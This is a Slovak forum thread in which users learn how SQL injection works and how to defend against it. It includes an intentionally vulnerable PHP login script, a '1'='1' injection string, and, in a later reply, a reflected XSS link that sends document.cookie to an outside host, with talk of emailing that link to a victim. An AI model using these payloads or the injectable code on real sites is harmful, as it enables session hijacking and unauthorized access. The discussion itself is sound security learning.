SQL Injection

Programovacie jazyky, rady, poradňa...
ppt
Darca
Darca
Používateľov profilový obrázok
Príspevky: 1920
Registrovaný: 27 máj 2006, 11:24
Kontaktovať používateľa:

SQL Injection

Príspevok od používateľa ppt »

Ahojte.

Mam otazku ohladne SQL injection. Su ozaj tak pri dnesnych konfiguraciach serverov skodlive? Totiz, chcem sa tomu trosku viac priucit.
Spravil som si jeden SQL script: http://ppt.intrakap.eu/sql/
Script reprezentuje akesi nezabezpecene prihlasenie do nejakeho systemu (ak by ste mali poziadavky, viem tu hodit cely kod, no myslim si, ze nie je potrebny). V databaze sa nachadza tabulka users, obsahujuca stlpce login a heslo (nehashovane). Na stranke sa pre jednoduchost prihlasovacie udaje zadavaju do GET premennych login a heslo (teda napr user ppt a heslo nbusr123 sa zadava takto: http://ppt.intrakap.eu/sql/?login=ppt&heslo=nbusr123 ).

No a teraz co si o SQL injection viem. Malo by to fungovat tak, ze ak sa chcem nedovolene prihlasit na stranku, tak si obsah tych premennych (login a heslo) upravim tak, aby som cely system oblbol - napr aby sql dopyt mal takyto tvar:

Kód: Vybrať všetko

SELECT * FROM user WHERE login = 'ppt' AND heslo = 'daco' or '1'='1'
No lenze problem je ten, ze server, na ktorom bezi cely script pridava automaticky "pred nepovolene" znaky znak spatneho lomitka. Takze takymto sposobom sa SQL injection vykonat neda (otestovat sa to da na mnou vytvorenej stranke).

Cize moja otazka. Da sa nejakym sposobom obist toto pridavanie spatneho lomitka, ak je moj script nezabezpeceny? Alebo ak je spravne nakonfigurovany apache server, tak takymto sposobom utocnik nemoze preniknut do vnutra mojho systemu?

btw. v databaze mam vytvoreneho uzivatela "ppt" (bez uvodzoviek) s nejakym heslom (mozete sa ho pokusit aj zistit). :) Budem rad, ak by tu vznikla nejaka debata o SQL injection, aby som sa trosicku k tomu problemu zaucil..
dik :)
zupanok
Medium Star
Medium Star
Príspevky: 325
Registrovaný: 19 dec 2005, 18:43
Bydlisko: MT

Príspevok od používateľa zupanok »

o injectionoch toho veľa neviem, iba to, že existujú,
ale je tu otázka, nie je lepšie radšej sa naučiť tvoriť riadne zabezpečený a ošetrený script? v budúcnosti sa to môže zísť, narazíš na nezabezpečený server, ty sám tiež neurobíš zabezpečenia, a potom výsledok nenechá na seba dlho čakať,

a ešte k tomuto, obídenie adslshes už dnes nie je problém (viem to len z čítania na webe), ale nech sa k tomu vyjadria aj skúsenejší...
ppt
Darca
Darca
Používateľov profilový obrázok
Príspevky: 1920
Registrovaný: 27 máj 2006, 11:24
Kontaktovať používateľa:

Príspevok od používateľa ppt »

zupanok napísal:je tu otázka, nie je lepšie radšej sa naučiť tvoriť riadne zabezpečený a ošetrený script?
Prave presne o to mi ide. Ze chcem pisat take scripty, ktore su co najviac zabezpecene. A myslim, ze ak vies, ako reaguju utocnici na tvojom webe, tak vies lepsie zabezpecit svoju stranku. Inak povedane ako mam pisat "zabezpecene" scripty? Tak, ze do nich nahadzem kopu zabezpecene funkcie, o ktorych som sa docital niekde na webe. Sice viem, co tie funkcie robia, ale neviem preco tam su? (viem ze kvoli bezpecnosti, ale neviem sposob, ako reaguje pripadny utocnik, ak by tam tie funkcie neboli)
Prave o to mi ide..
zaggi
Medium Star
Medium Star
Používateľov profilový obrázok
Príspevky: 314
Registrovaný: 04 feb 2007, 19:32

Príspevok od používateľa zaggi »

ako vyzera ten script teraz? mozes postnut source?
ppt
Darca
Darca
Používateľov profilový obrázok
Príspevky: 1920
Registrovaný: 27 máj 2006, 11:24
Kontaktovať používateľa:

Príspevok od používateľa ppt »

jasne..

Kód: Vybrať všetko

<? 
// ?login=login&heslo=heslo
$login = $_GET['login'];
$heslo = $_GET['heslo'];


$MySQL_host = 'localhost';
$MySQL_user = '*';
$MySQL_pass = '*';
$MySQL_db   = '*';

$mysql_spojenie = mysql_connect($MySQL_host,$MySQL_user,$MySQL_pass) or die('CHYBA! Nemozem sa spojit s databazovym servrom!');
mysql_select_db($MySQL_db) or die('CHYBA! Nemozem oznacit pozadovanu databazu!');

$sql = "SELECT * FROM user WHERE login = '$login' AND heslo = '$heslo'";
$dopyt = mysql_query($sql);
$vysledok = mysql_fetch_array($dopyt);

mysql_close($mysql_spojenie);
?>
<?=$sql?><br />

<?if ($vysledok) {?>
Prihlaseny ako <?=$vysledok['login']?>
<?} else {?>
Neprihlaseny!
<?}?>
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Magic_quotes by (konečne) mali z php vyhodiť. ;)
zaggi
Medium Star
Medium Star
Používateľov profilový obrázok
Príspevky: 314
Registrovaný: 04 feb 2007, 19:32

Príspevok od používateľa zaggi »

ako vidis ... ten isty script, len som zmenil udaje na pristup k databazi a sql injection je na svete ... a na nastavenia servra sa spoliehat pri vyvoji nemozes ...

kazdopadne spolahlivo poriesi

Kód: Vybrať všetko

$login = mysql_real_escape_string($_GET['login']); 
$heslo = mysql_real_escape_string($_GET['heslo']); 
Prílohy
sqlinject.jpg
ppt
Darca
Darca
Používateľov profilový obrázok
Príspevky: 1920
Registrovaný: 27 máj 2006, 11:24
Kontaktovať používateľa:

Príspevok od používateľa ppt »

zaggi:
jasne, ze sa spoliehat na nastavenie servera clovek nemoze. No zrejme vacsina serverov to bude mat tak zabezpecene, ako to je na tom serveri, na ktorom mam ten script ja. Jasne, chapem, ze sa na to spoliehat neda.

chrono:
teraz ale celkom nechapem, to vypnutie magic_quotes je tvoje zelanie, alebo je v plane vypnutie magic_quotes v novsej verzii PHP?
zaggi
Medium Star
Medium Star
Používateľov profilový obrázok
Príspevky: 314
Registrovaný: 04 feb 2007, 19:32

Príspevok od používateľa zaggi »

ppt napísal:teraz ale celkom nechapem, to vypnutie magic_quotes je tvoje zelanie, alebo je v plane vypnutie magic_quotes v novsej verzii PHP?
Magic Quotes

This feature has been DEPRECATED and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged.
potrebujes viac? :) takze pekne osetruj ...
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

V PHP6 už tá funkcia byť nemá.
Problém je v tom, že ak dáš skript na server, ktorý nevlastníš, tak tam musíš ošetriť oba prípady (teda zapnuté a aj vypnuté magic_quotes). Ak je ten server tvoj, tak si ho môžeš nastaviť ako chceš, ale kvôli bezpečnosti je tiež rozumné ošetriť oba prípady (môže sa stať, že pri preinštalovávaní na to zabudneš). Podľa mňa je to zbytočná komplikácia, navyše tá funkcia nemusí robiť presne to, čo by robiť mala (napr. pri MySQL je lepšia funkcia mysql_real_escape_string).
turtlak69
Guru
Guru
Príspevky: 2896
Registrovaný: 10 máj 2007, 15:58
Bydlisko: /dev/null

Príspevok od používateľa turtlak69 »

zaggi napísal:kazdopadne spolahlivo poriesi

Kód: Vybrať všetko

$login = mysql_real_escape_string($_GET['login']); 
$heslo = mysql_real_escape_string($_GET['heslo']); 
a este by som k tomu pridal htmlspecialchars
mastermind
VIP
VIP
Používateľov profilový obrázok
Príspevky: 4810
Registrovaný: 09 feb 2005, 13:17

Príspevok od používateľa mastermind »

turtlak69 napísal:a este by som k tomu pridal htmlspecialchars
preco?
Nadeo
Guru wannabe
Guru wannabe
Používateľov profilový obrázok
Príspevky: 2202
Registrovaný: 04 nov 2006, 19:38
Bydlisko: BA/LV
Kontaktovať používateľa:

Príspevok od používateľa Nadeo »

Lebo napr. keby zada naschval zle meno , a ten script by vypisal (neviem ci vypisuje ale toto je jedna z moznych situacii) ze meno "xyz" nieje najdene ... a mame tu xss . Neviem ci to ta funkcia mysql_real_escape_string osetruje, ale ja by som htmlspecialchars dal tiez.
mastermind
VIP
VIP
Používateľov profilový obrázok
Príspevky: 4810
Registrovaný: 09 feb 2005, 13:17

Príspevok od používateľa mastermind »

ale no tak. aky xss? ved tu hodonutu dava predsa do SQL prikazu. nevypisuje ju.
A ak by tu hodnotu aj neosetrenu vypisal (to uz je security issue) xss by to aj tak nebolo, pretoze hlasku "Uzivatelske meno <b>test</b> nebolo najdene". by zobrazilo len tomu uzivatelovi a nemohol by teda spustit svoj kod na cudzej masine.
jorg22
Medium Professional
Medium Professional
Používateľov profilový obrázok
Príspevky: 1087
Registrovaný: 12 aug 2006, 20:39
Kontaktovať používateľa:

Príspevok od používateľa jorg22 »

On to myslel asi takto

Kód: Vybrať všetko

http://ppt.intrakap.eu/sql/?login=ppt&heslo=<script>alert(document.cookie)</script>
To uz je XSS.
chrono
VIP
VIP
Používateľov profilový obrázok
Príspevky: 7127
Registrovaný: 25 dec 2006, 15:17

Príspevok od používateľa chrono »

Ale keďže sa to zobrazí len tebe, nie je to nebezpečné (a navyše normálne by sa tam nezobrazilo vôbec nič, to query sa tam píše "len tak"). :)
jorg22
Medium Professional
Medium Professional
Používateľov profilový obrázok
Príspevky: 1087
Registrovaný: 12 aug 2006, 20:39
Kontaktovať používateľa:

Príspevok od používateľa jorg22 »

Ano mas pravdu, iba keby server automaticky neescapoval uvodzovky tak by sa to dalo zneuzit napr. takto:

Kód: Vybrať všetko

http://ppt.intrakap.eu/sql/?login=ppt&heslo=<a href=javascript:document.location.replace('http://www.nieco.sk/skodlivy_kod.php?c='+document.cookie)>Klikni</a>
a mam dotycneho cookie, mozno aj referrera a IP ak na to niekto klikne.
mastermind
VIP
VIP
Používateľov profilový obrázok
Príspevky: 4810
Registrovaný: 09 feb 2005, 13:17

Príspevok od používateľa mastermind »

jorg22 napísal:Ano mas pravdu, iba keby server automaticky neescapoval uvodzovky tak by sa to dalo zneuzit napr. takto:

Kód: Vybrať všetko

http://ppt.intrakap.eu/sql/?login=ppt&heslo=<a href=javascript:document.location.replace('http://www.nieco.sk/skodlivy_kod.php?c='+document.cookie)>Klikni</a>
a mam dotycneho cookie, mozno aj referrera a IP ak na to niekto klikne.
heh ako ze by si mal jeho cookie? ved to ty si tam zadal ten kod. takze by si ziskal tak maximalne svoje cookie :)
Nadeo
Guru wannabe
Guru wannabe
Používateľov profilový obrázok
Príspevky: 2202
Registrovaný: 04 nov 2006, 19:38
Bydlisko: BA/LV
Kontaktovať používateľa:

Príspevok od používateľa Nadeo »

Poslat mu to ako mail (link) . Ktory by bol napr nejaka zmensenina obrazku a keby klikol tak by ho to presmerovalo na ten link
mastermind
VIP
VIP
Používateľov profilový obrázok
Príspevky: 4810
Registrovaný: 09 feb 2005, 13:17

Príspevok od používateľa mastermind »

Nadeo napísal:Poslat mu to ako mail (link) . Ktory by bol napr nejaka zmensenina obrazku a keby klikol tak by ho to presmerovalo na ten link
no tak by to slo. ale presne ako som napisal. Do SQL prikazu musi ist povodna hodnota. A az ked ju vypisujeme tak musime escapnut vsetky html znaky.
Napísať odpoveď